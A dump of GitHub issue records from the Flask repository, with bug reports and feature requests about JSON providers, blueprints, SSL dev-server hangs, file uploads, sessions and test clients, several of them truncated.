> error: Cannot assign member ""mimetype"" for type ""JSONProvider"": Member ""mimetype"" is unknown  - Pyright[reportGeneralTypeIssues]

I think pyright is correct: the `mimetype` property does not exist on `JSONProvider` - as it's only meant to be a base class allowing users to customize behavior. Only its subclass `DefaultJSONProvider` has this property, and is expected to act accordingly.

So I think the deprecation hint should instead say:

> Please set flask.json.provider.DefaultJSONProvider.mimetype instead.

If you agree, I'm happy to provide a pull request!

Environment:

- Python version: 3.10.8
- Flask version: 2.2.2
- pyright version: 1.1.278

",,2022-11-07T11:12:38Z,2022-11-07T14:09:20Z,2
pallets/flask,1419400522,Downloadable User Guide (PDF),"Could you make the User Guide in Flask's website Downloadable (in PDF format) It would be very helpful.


Make People who need to view the Guide able to do so without internet access or without the need to open the website anytime they are struggling, they can just read the PDF file.
",,2022-10-22T16:47:48Z,2022-10-22T16:48:21Z,0
pallets/flask,1413691816,Flask hangs when run as a Python subprocess that is piping stderr,"Apologies for the highly confusing earlier issue. After another hour of experimentation, it looks like I've narrowed the issue down specifically to when Flask is run in a subprocess from Python with IO from stdout piped back into that program.

# To reproduce

To replicate this bug, we need 3 programs: the server, the runner, and the tests.

```py
# app.py
# A super simple web server - surely nothing should go wrong here
from flask import Flask, request

app = Flask(__name__)
# Counter to check how many times we've responded
count = 0


@app.get('/')
def home():
    global count
    name = request.args['name']
    count += 1
    return {""response"": f""Hello {name}! Response #{count}""}
```

```py
# run.py
# This runs the flask server in a subprocess
import sys
import subprocess

flask = subprocess.Popen(
    # Run the server using the same python executable (to respect virtual environments)
    # We use the -u flag to trigger unbuffered mode so that we can read from the pipes more nicely
    [sys.executable, '-u', '-m', 'flask', 'run'],
    # We pipe stderr so we can read from it later
    stderr=subprocess.PIPE,
)
try:
    flask.wait()
except KeyboardInterrupt:
    flask.kill()

print(flask.stderr.read())
```

```py
# test_main.py
# A super simple test that runs 1000 times - it only fails the 910th time
import pytest
import requests

@pytest.mark.parametrize(
    'time',
    [i + 1 for i in range(1000)]
)
def test_main(tim... [TRUNCATED]",,2022-10-18T18:50:47Z,2022-10-18T18:55:53Z,1
pallets/flask,1413567369,Flask hangs when run as a subprocess alongside pytest,"I've spent the last hour and a half trying and failing to debug this test and I am utterly stumped. To simplify the process of testing the Flask server I am building, I have made a relatively simple script which starts the server, then runs pytest, kills the server, writes the outputs to files, and exits with Pytest's exit code. This code was working perfectly until today, and I haven't modified it since (aside from debugging this issue).

Here's the problem: when it gets to a certain point in the tests, it hangs. The weird thing is that this does not happen if I run my tests in any other way.
* Debugging my server in VS Code, and running tests in the terminal: works
* Running my server using the same code used in the test script and running pytest manually: works
* Running pytest using the test script and running the server through the start server script (which uses the same code for running the server as the test script does) in a second terminal: works

Here's the other interesting thing: the tests always hang in the same place, part way through the setup fixture. It sends the clear command, and an echo request to the server (which prints the name of the current test). The database clears successfully, and the server echoes the correct information, but the echo route never exits - my tests never get a response. This echo route behaves perfectly for the 50 or so tests that happen before this point. If I comment out the test that is causing it to fail, it fails on th... [TRUNCATED]",,2022-10-18T17:09:29Z,2022-10-18T17:20:56Z,3
pallets/flask,1402844299,Large file uploads - form.field.data.save() copy takes too long ,"It would be nice to have a way to specify storage directory for the form
file uploads, and use tempfile.NamedTemporaryFile() instead of just
tempfile.SpooledTemporaryFile() when needed.

The thing is that uploads to SpooledTemporaryFile are stored in /tmp
(often tmpfs, or a specifically fast volume, etc.).  Later it is expected
that we use the werkzeug field.data.save() method to copy the file to the
final destionation.  This doesn't scale for files of several GB, the copy
action may take several minutes depending on many factors.

It would be nice to upload the files directly to the target destination,
or at least to the same volume (uploads are typically limited by network
connection, not I/O).  If on the same volume, we can hardlink the file to
the target destination, or move - and save a lot of the request time
(which potentially can timeout).

We are trying to way-around this using our own Request method that
overrides the internal _get_file_stream() method to enforce the
NamedTemporaryFile() usage:

  https://pagure.io/copr/copr/pull-request/2334#request_diff

If this can not be implemented in Flask or Werkzeug, it would be at least
nice to have a documented way how to use NamedTemporaryFile() for uploads.

Let me know if I can help with anything, and thank you for the pallets' projects!

Some interesting reading:
https://github.com/bottlepy/bottle/issues/288
https://github.com/bottlepy/bottle/pull/289",,2022-10-10T09:11:55Z,2022-10-11T15:55:49Z,3
pallets/flask,1402374024,Inconsistent documentation on `debug`s default,"Does the `run` method of the `Flask` class take an optional argument `debug` with default value `None` [1], or `False` [2]?

[1] https://flask.palletsprojects.com/en/2.2.x/api/#flask.Flask.run
[2] https://flask.palletsprojects.com/en/2.2.x/api/#flask.Flask.debug",,2022-10-09T19:30:19Z,2022-10-09T22:06:41Z,2
pallets/flask,1401905506,Flask hangs when using ssl_context while decoding the https request ,"Simplest sample program:

```python
from flask import Flask

app = Flask(""TestApp"")

@app.route(""/"")
def test():
    return ""Hello World!""

app.run(host=""0.0.0.0"", port=5001, ssl_context=""adhoc"")
```

Test the web server through a browser: https://ip_address:5001/
The result is: `Hello World!`.

Run `telnet ip_address 5001` (do not add chars as it expects an SSL/TLS session)
Test the web server through a browser: https://ip_address:5001/

The browser request hangs until the telnet is killed.

If you use `app.run(host=""0.0.0.0"", port=5001, ssl_context=""adhoc"", threaded=True)` the result is the same: each request is decoded before spawning the thread.

Simplest example:

```python
import time
from flask import Flask

app = Flask(""TestApp"")

@app.route(""/0"")
def test_0():
    time.sleep(10)
    return ""Hello World-0!""

@app.route(""/1"")
def test_1():
    time.sleep(10)
    return ""Hello World-1!""

@app.route(""/2"")
def test_2():
    time.sleep(10)
    return ""Hello World-2!""

app.run(host=""0.0.0.0"", port=5001, ssl_context=""adhoc"", threaded=True)
```

Run `telnet ip_address 5001`
Test the web server through a browser on different tabs using different routes to enable multithreading:

- https://ip_address:5001/0
- https://ip_address:5001/1
- https://ip_address:5001/2

All requests hang until the telnet is killed.

It looks like when using `ssl_context` each request is strictly decoded in sequence.

Environment:

- Python... [TRUNCATED]",,2022-10-08T10:42:33Z,2022-10-08T13:19:12Z,1
pallets/flask,1397435841,"Celery Background Tasks: Property ""Task"" defined in ""Celery"" is read-only","Currently, the [documentation](https://flask.palletsprojects.com/en/2.2.x/patterns/celery/) says to replace `celery.Task` with a custom `ContextTask`. But this raises an error using mypy:

```
$ cat minimal.py 
from flask import Flask
from celery import Celery, Task

def make_celery(app: Flask):
    celery = Celery(app.import_name)
    celery.conf.update(app.config[""CELERY_CONFIG""])

    class ContextTask(Task):
        def __call__(self, *args, **kwargs):
            with app.app_context():
                return self.run(*args, **kwargs)

    celery.Task = ContextTask
    return celery
$ mypy minimal.py
minimal.py:13: error: Property ""Task"" defined in ""Celery"" is read-only
minimal.py:13: error: Incompatible types in assignment (expression has type ""Type[ContextTask]"", variable has type ""Task[Any]"")
```

~Instead one should initialize Celery with a string of the desired Task class. [See Celery docs.](https://docs.celeryq.dev/en/stable/userguide/tasks.html#app-wide-usage)~

<details>
<summary>Invalid proposed solution</summary>

```
$ cat minimal.py 
from flask import Flask
from celery import Celery, Task


class ContextTask(Task):
    def __call__(self, *args, **kwargs):
        with app.app_context():
            return self.run(*args, **kwargs)


def make_celery(app: Flask):
    celery = Celery(app.import_name, task_cls=""minimal.minimal:ContextTask"")
    celery.conf.update(app.config[""CELERY_CONFIG""])

    return celery
$ mypy m... [TRUNCATED]",docs,2022-10-05T08:32:30Z,2023-02-10T17:35:46Z,1
pallets/flask,1397322120,How to stop the server through code,"Hi,
I want to know how to stop server by code?

Does it provide a function like stop ()?

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->
",,2022-10-05T06:50:27Z,2022-10-05T13:21:11Z,1
pallets/flask,1396050407,Nested blueprints are not respected when mounted on subdomains,"Hello, and thanks for all your work 🙏🏻 

Nested blueprints [as described in the docs](https://flask.palletsprojects.com/en/2.2.x/blueprints/#nesting-blueprints) work perfectly fine when using `url_prefix`. However, when mounting the parent blueprint using a subdomain, the child routes are not accessible.

```python
from flask import Flask
from flask import Blueprint

app = Flask(__name__)
app.config[""SERVER_NAME""] = ""localhost:5000""
parent = Blueprint(""parent"", __name__)
child = Blueprint(""child"", __name__)

@app.route('/')
def index():
    return ""index""

@parent.route('/')
def parent_index():
    return ""parent""

@child.route('/child/')
def child_index():
    return ""child""

parent.register_blueprint(child)
app.register_blueprint(parent, subdomain=""api"")


if __name__ == '__main__':
    app.run(debug=True)
```

The index route works as expected:

```
❯ http http://localhost:5000/
HTTP/1.1 200 OK
Connection: close
Content-Length: 5
Content-Type: text/html; charset=utf-8
Date: Tue, 04 Oct 2022 10:44:10 GMT
Server: Werkzeug/2.2.2 Python/3.10.4

index
```

So does the parent route in the subdomain:

```
❯ http http://api.localhost:5000/
HTTP/1.1 200 OK
Connection: close
Content-Length: 6
Content-Type: text/html; charset=utf-8
Date: Tue, 04 Oct 2022 10:44:06 GMT
Server: Werkzeug/2.2.2 Python/3.10.4

parent
```

But the child responds with a 404:

```
❯ http http://api.localhost:5000/child/
HTTP/1.1 404 NOT FOUND
C... [TRUNCATED]",blueprints,2022-10-04T10:51:08Z,2023-01-04T21:07:05Z,1
pallets/flask,1394067180,Automatically escape text in .svg files,"## Summary

Currently, autoescaping is enabled for all templates ending in `.html`, `.htm`, `.xml` as well as `.xhtml` when using `render_template()` (https://flask.palletsprojects.com/en/2.2.x/templating/).

As SVG files are very similar in nearly all aspects to XML files, `.svg` should also be autoescaped.

## Problem

In this example, trying to insert a title into an SVG to render, an error will occur if the title contains unescaped text such as an ampersand (eg. ""TEST & EXAMPLE"")

In a `main.svg` template file:

```svg
<svg xmlns='http://www.w3.org/2000/svg'
    xmlns:xlink='http://www.w3.org/1999/xlink' width=""250"" height=""220"" viewBox=""0 0 250 220"">
    <text fill=""#ffffff"" font-family=""Roboto, Segoe UI, Ubuntu, Arial, sans-serif"" font-weight=""600"" font-size=""15px"">
        {{ title }}
    </text>
</svg>
```

```py
render_template(""main.svg"", title=""TEST & EXAMPLE"")
```

![image](https://user-images.githubusercontent.com/20955511/193494832-543cbcba-2c70-454c-bde6-21d296dc5ddf.png)

## Current workarounds

Changing the filename to .xml can be done as a workaround, as well overriding the autoescape option or other methods for toggling autoescape. I'm proposing this as a feature request as I believe it is logical for SVG to work the same way as XML.",,2022-10-03T03:18:29Z,2022-10-30T14:55:52Z,0
pallets/flask,1385084417,missing form in request.form.items(),"```py
class SettingsLogs(MethodView):

    async def post(self, server_id: int):
        token = session.get(""token"")
        if not token:
            return redirect(self.register_url)

        ipc_server = ipc.Client(secret_key=""doggo"")
        status = request.form.get('logs-checkbox') # this normally works
        if not status:
            return ""test""

        channel_id = request.form.get('channels')

        joins = request.form.get('joins_checkbox') # that's the problem.
        print(joins)
```
when trying to retrieve a value from another checkbox no matter if the checkbox is enabled or not it always returns None.



describes it exactly on [stackoverflow](https://stackoverflow.com/questions/73845694/python-flask-request-form-get-always-returns-none/73845745#73845745)


Excepted Behaviour:
`request.form.get('messages-checkbox')` will return a value when the checkbox is enabled


Environment:

- Python version: 3.9.8
- Flask version: 2.1.3
",,2022-09-25T16:17:09Z,2022-09-25T18:57:43Z,1
pallets/flask,1378826629,test clients inside with clause share context in 2.2.x,"Defining `flask.test_client()` instances using `with` clause causes them to share context/content of `flask.g` variable.
This wasn't the case in previous versions of flask.

### How to replicate the bug
```python
import flask

app = flask.Flask(""app"")

@app.route(""/index"")
def index():

    if ""my_special_data"" in flask.g:
        print(""special data found"")
    else:
        print(""no special data"")

    flask.g.my_special_data = True

    return ""OK"", 200

with app.test_client() as first_client, app.test_client() as second_client:

    first_client.get(""/index"")
    second_client.get(""/index"")
```

In flask==2.2.x running this script prints
```
no special data
special data found
```
showing that second_client shares `flask.g` with first client.

### Expected behaviour

In flask==2.1.3 this code prints
```
no special data
no special data
```

Additionally in both previous and current (2.2.x) versions of flask, running test clients defined outside of with clause, that is writing
```python
first_client = app.test_client()
second_client = app.test_client()

first_client.get(""/index"")
second_client.get(""/index"")
```
produces
```
no special data
no special data
```
 
<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3.8.13
- Flask version: 2.2.2

I believe this behavior should be considered a bug, and I noticed this behavior breaking some libraries based o... [TRUNCATED]",,2022-09-20T05:08:16Z,2022-09-20T13:09:01Z,1
pallets/flask,1376644606,cant run https adhoc,"Hi. 

for sometime i was able to run https using flask using tmp ssl cert. adhoc.
but now when i am trying to enable https back again from http. i face this issue.

```
  File ""Z:\Python_Venv\env1\lib\site-packages\gevent\server.py"", line 125, in __init__
    self.wrap_socket = ssl_context.wrap_socket
AttributeError: 'str' object has no attribute 'wrap_socket'
```

i am adding this to my code.

ssl_context='adhoc'

i am on Python 3.10.4 , flask 2.2.2

UPDATE : 
i found that this issue occurs when :

**from engineio.async_drivers import gevent**

But this is important as since i am packing using pyinstaller. this line must be there",,2022-09-17T02:54:56Z,2022-09-17T03:33:29Z,1
pallets/flask,1371665616,Class Blueprint,"Does flask consider adding a function like running class blueprint

Use something like `@router` in the class to register",,2022-09-13T15:48:18Z,2022-09-13T16:41:55Z,1
pallets/flask,1370367192,Speed up Dataclass JSON. ,"https://github.com/pallets/flask/blob/c34c84b69085e6bce67d0701b8f8ba3145f42ff2/src/flask/json/provider.py#L116-L117

asdict is super slow and unneeded. It makes a deep copy since the object is being encoded there is no need for a deep copy. 

I can post some alternatives I have rattled around for this. If I remember correctly it was like roughly 10x faster to make a Mapping, and use that  to a dictionary then to use todict for a flat class of 4 immutable fields. The performance difference gets much larger the more complex the DataClass is. Unfortunately Python doesnt support using a Mapping directly so you do still need to convert it into a dictionary. 

I can post some snippets for it. I know I had one that used caching and [this function ](https://docs.python.org/3/library/dataclasses.html#dataclasses.fields) to cache the calls by type. ",,2022-09-12T18:48:43Z,2022-09-13T14:29:00Z,1
pallets/flask,1368887507,Refresh after POST always leads to 405,"**What is the bug?**

When you perform the first post request, everything's fine. Each subsequent request (or a page refresh) leads to a 405 error.

**How to Reproduce the error**
Here's the minimum code to replicate the error:

Project Structure
- templates
    - index.html
- main.py

main.py:

```
from flask import Flask, render_template
import json

app = Flask(__name__)


@app.route(""/"")
def home():
    return render_template(""index.html"")


@app.route(""/post"", methods=[""POST""])
def post_test():
    return json.dumps({""test"": True})


if __name__ == ""__main__"":
    app.run(debug=True)
```

index.html:

```
<script>

    async function postSomething() {
        let options = {
            method: ""POST"",
            body: JSON.stringify({ ""name"": ""test"" })
        }
        let request = await fetch(""/post"", options);
        let response = await request.json()
        console.log(response)
    }
</script>

<button onclick=""postSomething()"">
    Click me!
</button>
```

**What do I expect**
I expect to be able to press the button multiple times without getting an error. It seems that Flask puts the form data before the request, which leads to this in the console:

`
127.0.0.1 - - [10/Sep/2022 12:09:52] ""{""name"":""test""}GET / HTTP/1.1"" 405 -
`


I tested the same behaviour with Tornado, which gave me the correct expected result. Here's the minimal code for Tornado:

```
import asyncio
import tornado.web
imp... [TRUNCATED]",,2022-09-11T09:30:08Z,2022-09-11T13:40:19Z,2
pallets/flask,1367639077,jsonify breaks in case of mixed type dictionary keys,"As in subject, `jsonify` breaks in case of mixed type dictionary keys e.g. `int` and `str`.

This happens because `json.dumps` is called with `sort_keys=True` with no option ti remove it.

```
>>> from flask import jsonify
>>> jsonify({1: 2, '2': 3})
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
Input In [2], in <cell line: 1>()
----> 1 jsonify({1: 2, '2': 3})

File ~/apps/bca-ops-py3/venv/lib/python3.10/site-packages/flask/json/__init__.py:342, in jsonify(*args, **kwargs)
    310 def jsonify(*args: t.Any, **kwargs: t.Any) -> Response:
    311     """"""Serialize the given arguments as JSON, and return a
    312     :class:`~flask.Response` object with the ``application/json``
    313     mimetype. A dict or list returned from a view will be converted to a
   (...)
    340     .. versionadded:: 0.2
    341     """"""
--> 342     return current_app.json.response(*args, **kwargs)

File ~/apps/bca-ops-py3/venv/lib/python3.10/site-packages/flask/json/provider.py:309, in DefaultJSONProvider.response(self, *args, **kwargs)
    305 else:
    306     mimetype = self.mimetype
    308 return self._app.response_class(
--> 309     f""{self.dumps(obj, **dump_args)}\n"", mimetype=mimetype
    310 )

File ~/apps/bca-ops-py3/venv/lib/python3.10/site-packages/flask/json/provider.py:230, in DefaultJSONProvider.dumps(self, obj, **kwargs)
    228 kwargs.setdefault(""ensu... [TRUNCATED]",,2022-09-09T10:38:48Z,2022-09-09T10:56:25Z,2
pallets/flask,1365460493,ValueError: Circular reference detected,"### Discussed in https://github.com/pallets/flask/discussions/4811

<div type='discussions-op-text'>

<sup>Originally posted by **lukemyth** September  8, 2022</sup>
**When I run a flask code, it worked well at the beginning, but one day later it always raised an error. The error message  is as follows:**

[2022-09-08 10:50:36,904] ERROR in app: Exception on /sim [POST]
Traceback (most recent call last):
  File ""/root/miniconda3/envs/simple/lib/python3.7/site-packages/flask/app.py"", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File ""/root/miniconda3/envs/simple/lib/python3.7/site-packages/flask/app.py"", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File ""/root/miniconda3/envs/simple/lib/python3.7/site-packages/flask/app.py"", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File ""/root/miniconda3/envs/simple/lib/python3.7/site-packages/flask/app.py"", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File ""flask_main.py"", line 62, in sim
    result = json.dumps(res1,default=json_encoder)#,cls=NpEncoder
  File ""/root/miniconda3/envs/simple/lib/python3.7/json/__init__.py"", line 238, in dumps
    **kw).encode(obj)
  File ""/root/miniconda3/envs/simple/lib/python3.7/json/encoder.py"", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File ""/root/miniconda3/envs/simple/lib/python3.7/json/encoder.py"", lin... [TRUNCATED]",,2022-09-08T03:17:44Z,2022-09-08T03:22:52Z,1
pallets/flask,1364406736,"mypy check error: ""JSONProvider"" has no attribute ""sort_keys""  [attr-defined]","Following the warning `The 'JSON_SORT_KEYS' config key is deprecated and will be removed in Flask 2.3. Set 'app.json.sort_keys' instead` we modified the code to use the mentioned `app.json.sort_keys`. However mypy check fails with the following error:

```
% mypy --install-types --non-interactive 
app.py:24: error: ""JSONProvider"" has no attribute ""sort_keys""  [attr-defined]
```

where the line 24

```
23:    app = Flask(__name__)
24:    app.json.sort_keys = False
```

Environment:

- Python version: 3.10.4
- Flask version: 2.2.2
",,2022-09-07T09:57:41Z,2022-09-07T15:37:21Z,1
pallets/flask,1361600411,flask subdomain url_for  static not working,"my template
```
<!DOCTYPE html>
<html lang=""en"">
<head>
    <meta charset=""UTF-8"">
    <title>www.example.com:8000</title>
    <link rel=""stylesheet"" href=""{{ url_for('www.static', filename='w.css') }}"">
</head>
<body>
    <h1>www.example.com:8080</h1>
</body>
</html>
```
why? 
<img width=""584"" alt=""image"" src=""https://user-images.githubusercontent.com/16431201/188406970-94534915-1fc4-4f17-b1ea-aabd0af18853.png"">



- Python version:  3.10
- Flask version:  2.1
",,2022-09-05T08:41:26Z,2022-09-05T08:42:26Z,1
pallets/flask,1360728252,New bug that never happen in previous version,"**what the bug is:**
werkzeug.routing.exceptions.BuildError: Could not build url for endpoint 'index'. Did you mean 'profile' instead?

**Describe how to replicate the bug.**

Running code from below, which is a guide showing in flask document quickstart

```
`from flask import Flask,url_for

app = Flask(__name__)

@app.route(""/"")
def hello_world():
    return ""<p>Hello, World!</p>""

from markupsafe import escape

@app.route('/user/<username>')
def show_user_profile(username):
    # show the user profile for that user
    return f'User {escape(username)}'

@app.route('/post/<int:post_id>')
def show_post(post_id):
    # show the post with the given id, the id is an integer
    return f'Post {post_id}'

@app.route('/user/<username>')
def profile(username):
    return f'{username}\'s profile'

with app.test_request_context():
    print(url_for('index'))
    print(url_for('login'))
    print(url_for('login', next='/'))
    print(url_for('profile', username='John Doe'))`
```


**Describe the expected behavior that should have happened but didn't.**

No errors for these code for previous version of flask. So there should be no problem for this version also

**Environment:**

- Python version: 3.10.6
- Flask version: 2.2.2
",,2022-09-03T02:21:19Z,2022-09-03T02:38:45Z,0
pallets/flask,1360165146,TypeError: Unicode-objects must be encoded before hashing,"Disclaimer: I'm a newbie.

Hi,

I've started getting a type error recently, and I've tried many things to fix but to no avail.

I believe the issue happened when I moved to the Heroku stack-22 from stack-18 (which I believe meant a Python update from 3.6 to 3.10).

The reason I'm not really sure when it started happening is that this is an issue with the login feature, and before it was working both on desktop and mobile, presumably because the issue wasn't raised when a cookie is present. Once I cleared the cookies on my mobile phone, I discovered the issue, and then I tried to replicate on desktop.

After trying many things, I noticed that this issue is never raised on localhost, but it's always raised on the Heroku deployment. I decided to start again, where I updated to Python 3.10 in desktop and created a clean environment where I installed only the critical libraries for my app to work (see [requirements.txt](https://github.com/pallets/flask/files/9478042/requirements.txt) attached).

Here's the error I get:
<pre>
ERROR in app:   Exception on /login
Traceback (most recent call last):
File   ""/app/.heroku/python/lib/python3.10/site-packages/flask/app.py"",   line 2447, in wsgi_app
response = self.full_dispatch_request()
File   ""/app/.heroku/python/lib/python3.10/site-packages/flask/app.py"",   line 1952, in full_dispatch_request
rv   = self.handle_user_exception(e)
File   ""/app/.heroku/python/lib/python3.10/site-packages/flask/app.py"",   line 1821, in h... [TRUNCATED]",,2022-09-02T13:00:39Z,2022-09-02T14:47:46Z,1
pallets/flask,1358580833,Split session across multiple chunks if the session size is too large for a single cookie,"It is not uncommon nowadays for big organizations to have more than one OIDC Provider (OP) for their v1, v2, v3, ...,  APIs. E.g. When moving to next API versions, if there is a change in OP, they keep the same OP for their legacy APIs until deprecation. In such web applications, OIDC tokens that are set in `flask.session` are also multiplied. This increases the size of session to more than 4KB and browsers ignore the set-cookie header silently if the cookie exceeds max-size limit. Browsers support 150-180 cookies per domain and 4KB size per cookie. Large session can be split across multiple chunks and set each chunk as cookie in browser.

# Possible Approach
1. After signing and encoding the session, if the size of the string is more than 4096 bytes, split the string from 4032 byte. 4032 because you have to accommodate for the cookie name.
2. Assign a sequential name to each chunk so that you can combine the string to its original order when loading the session from the cookies. Example names can be session-0, session-1, session-2, etc.
3. On incoming request, combine the cookies, verify their signature and load them into session.
4. When sending a response, check how many cookies are being set this time. If their count is less than the number of cookies that were set last time, that means you have to expire the redundant cookies that were previously set.

E.g.
```python
Request-1 -> No Cookies
Session Created...
Setting 3 chunks as cookies...
Response-1 -> Set-... [TRUNCATED]",,2022-09-01T10:02:51Z,2022-09-01T12:06:50Z,2
pallets/flask,1357636551,flask crashed ,"Dears,


Hope all is well. 

I have a project, you can say a big project has more than 168 API routes (/x /y /yyy ..etc) 

each of these API routes has a specific function in my project I am facing a big problem that the flask crashed or the flask slower after sending about 1500 - 2000 req/second.

and I notched that the system resource not consumed (I,e my RAM 8 GB the total used is 4 GB and CPU utilization is 40 to 65%) 


so what the issue here? 

and do you have real-world examples company is using your API for a big project?

and what is your recommendations  for the production apps ",,2022-08-31T17:19:22Z,2022-08-31T17:27:55Z,0
pallets/flask,1357478711,PEP 484 – Type Hints & DI,"I think it will be useful to start using core python functionality like type hints so the IDEs can be smarter with the code, so at the end it's time all of will save. And also integrate some Dependency injection ? 

I think the best example for this both cases is FastAPI they have both things and because of that they got a lot of people using the framework and became popular, both of this things are extremely useful and powerful so worth adding.
There's more examples like starlite, etc.. ",,2022-08-31T15:07:48Z,2022-08-31T15:20:43Z,2
pallets/flask,1354294387,Link to example project in tutorial is dead (links 2.2.3 instead of 2.2.2),"From docs page : https://flask.palletsprojects.com/en/2.2.x/tutorial/next/ the link is

```
[example project](https://github.com/pallets/flask/tree/2.2.3/examples/tutorial)
```

Which gets a 404 from github - it should be (I _think_)  

```
[example project](https://github.com/pallets/flask/tree/2.2.2/examples/tutorial)
```

In order to work. 

I'm not too sure how sphinx picks up the following tag:

```
:gh:`example project <examples/tutorial>`
```

",docs,2022-08-29T13:23:47Z,2022-09-02T15:57:45Z,1
pallets/flask,1353348394,runtime exception on flask/global.py,"code: 


```

import typing as t
from contextvars import ContextVar

from werkzeug.local import LocalProxy

if t.TYPE_CHECKING:  # pragma: no cover
    from .app import Flask
    from .ctx import _AppCtxGlobals
    from .ctx import AppContext
    from .ctx import RequestContext
    from .sessions import SessionMixin
    from .wrappers import Request


class _FakeStack:
    def __init__(self, name: str, cv: ContextVar[t.Any]) -> None:
        self.name = name
        self.cv = cv
        self.unbound_message=""""

    def _warn(self):
        import warnings

        warnings.warn(
            f""'_{self.name}_ctx_stack' is deprecated and will be""
            "" removed in Flask 2.3. Use 'g' to store data, or""
            f"" '{self.name}_ctx' to access the current context."",
            DeprecationWarning,
            stacklevel=3,
        )

    def push(self, obj: t.Any) -> None:
        self._warn()
        self.cv.set(obj)

    def pop(self) -> t.Any:
        self._warn()
        ctx = self.cv.get(None)
        self.cv.set(None)
        return ctx

    @property
    def top(self) -> t.Optional[t.Any]:
        self._warn()
        return self.cv.get(None)


_no_app_msg = """"""\
Working outside of application context.

This typically means that you attempted to use functionality that needed
the current application. To solve this, set up an application context
with app.app_context(). See the documentation for more information... [TRUNCATED]",,2022-08-28T13:05:25Z,2022-08-28T16:05:05Z,0
pallets/flask,1353123353,Why this code thrown errors?,"### Discussed in https://github.com/pallets/flask/discussions/4787

<div type='discussions-op-text'>

<sup>Originally posted by **NSH531** August 26, 2022</sup>
CODE:


```

import pandas as pd 
""""""
Routes and views for the flask application.
""""""

from datetime import datetime
from xmlrpc.client import DateTime
from flask import render_template
from gimlaot import app

@app.route('/home')
def home():
    """"""Renders the home page.""""""
    return render_template(
        'index.html',
        title='Home Page',
        year=datetime.now().year,
    )
@app.route('/')
def Index():
    import falconpy
    H=falconpy.Hosts(client_id=""__"",client_secret=""___"")
#    t=H.QueryDevicesByFilter(filter='*',limit=555)
    n=datetime.now()
       
    detect=falconpy.Detects(client_id=""__"",client_secret=""___"")
    df=pd.DataFrame(data=(detect.get_detect_summaries(ids=detect.query_detects(sort=""last_behavior|asc"",filter=f""first_behavior:>='{datetime.fromtimestamp(n.timestamp()-30*24*86400).isoformat()}'"",limit=333)[""body""][""resources""])))
    assd=[detect.get_detect_summaries(ids=detect.query_detects(sort=""last_behavior|asc"",filter=f""first_behavior:>='{datetime.fromtimestamp(n.timestamp()-30*24*86400).isoformat()}'"",limit=333)[""body""][""resources""][0])]
    tdc=pd.DataFrame(detect.get_detect_summaries(ids=detect.query_detects(sort=""last_behavior|asc"",filter=f""first_behavior:>='{datetime.fromtimestamp(n.timestamp()-30*24*86400).isoformat()}'"",limit=333)[""bod... [TRUNCATED]",,2022-08-27T19:15:34Z,2022-08-27T19:24:44Z,0
pallets/flask,1351534153,Nested blueprint registration causes error when using test-scoped app fixtures,"For apps that use nested blueprints, the way that Flask currently tracks how child blueprints have been registered causes both an error and a warning (that will soon be an error) when creating multiple app objects. This is a problem when testing.

For the below code, `test_2` will fail because `child` has already been registered on `parent`, resulting in
~~~
ValueError: The name 'child' is already registered for this blueprint 'parent.child'. Use 'name=' to provide a unique name.
~~~

Additionally, the second call to `parent.register_blueprint()` emits a warning:
~~~
UserWarning: The setup method 'register_blueprint' can no longer be called on the blueprint 'parent'. It has already been registered at least once, any changes will not be applied consistently.
  Make sure all imports, decorators, functions, etc. needed to set up the blueprint are done before registering it.
  This warning will become an exception in Flask 2.3.
    parent.register_blueprint(child, url_prefix=""/child"")
~~~

~~~py
import pytest

from flask import Blueprint, Flask

parent = Blueprint(""parent"", __name__)
child = Blueprint(""child"", __name__)


def create_app():
    app = Flask(__name__)

    parent.register_blueprint(child, url_prefix=""/child"")
    app.register_blueprint(parent, url_prefix=""/parent"")

    return app


@pytest.fixture
def app():
    app = create_app()
    yield app


def test_1(app):
    pass


def test_2(app):
    pass
~~~

User workaroun... [TRUNCATED]",blueprints,2022-08-25T23:12:01Z,2023-02-15T15:07:12Z,5
pallets/flask,1345394253,"CLI flask run describes that uses --debug to enable debugger and reloader, but flask run does not have the -- debug option","flask run --help description:   The reloader and debugger are enabled by default with the '--debug' option.
But when I use flask run --debug, it tells me that there is no --debug option



flask run --debug

<img width=""1201"" alt=""image"" src=""https://user-images.githubusercontent.com/42339097/185777280-d4bfbacb-fef7-41a8-be21-1d14cbf53557.png"">


According to the description of flask run --help, the --debug option should be supported.


Environment:

- Python version: 3.10.6
- Flask version: 2.2.2
",cli,2022-08-21T05:53:46Z,2022-12-24T22:39:19Z,1
pallets/flask,1344746641,Flask flashing behaviour different in production compared with using flask development server,"### Discussed in https://github.com/pallets/flask/discussions/4770

<div type='discussions-op-text'>

<sup>Originally posted by **hiven** August 17, 2022</sup>
Flask delivers different results depending on whether deployed in production or in development, specifically around flashing messages.

This code fails to show the ""something went wrong"" flash in development but the same code shows the message in production. 

```python
@main_blueprint.route('/view/<items_id>', methods=['GET', 'POST'])
def view_items(items_id):
    item = Items.query.filter_by(id=items_id).first()
    if item:
        flash('Item List Ok')
        return render_template('main/item.html', item=item)
    else:
        flash('Something went wrong')
        return redirect(url_for('main.all_items'))
```

Code used:
https://github.com/hiven/FlaskApp

Environment:

Latest Flask version 2.2, python version 3.8
</div>",,2022-08-19T17:53:28Z,2022-08-19T17:58:21Z,1
pallets/flask,1342660884,flask.g is not an adequate replacement for _request_ctx_stack.top,"I'm migrating a local proxy to replace use of `_request_ctx_stack.top` with `g`, as recommended. This works in runtime use but is breaking tests where the app context is created before the request context. There doesn't seem to be an easy resolution:

1. A test that uses database fixtures with Flask-SQLAlchemy will need an app context. However, if a temporary app context is used, Flask-SQLAlchemy closes the database session on context teardown, and the database objects are expunged. Adding them back to the session ([as pytest-flask-sqlalchemy does](https://github.com/jeancochrane/pytest-flask-sqlalchemy/blob/12ad2fbd7da1005f5fd579a6c260aff527c6ee36/pytest_flask_sqlalchemy/fixtures.py#L66-L73)) creates a test environment that is not similar to runtime and will mask bugs elsewhere.

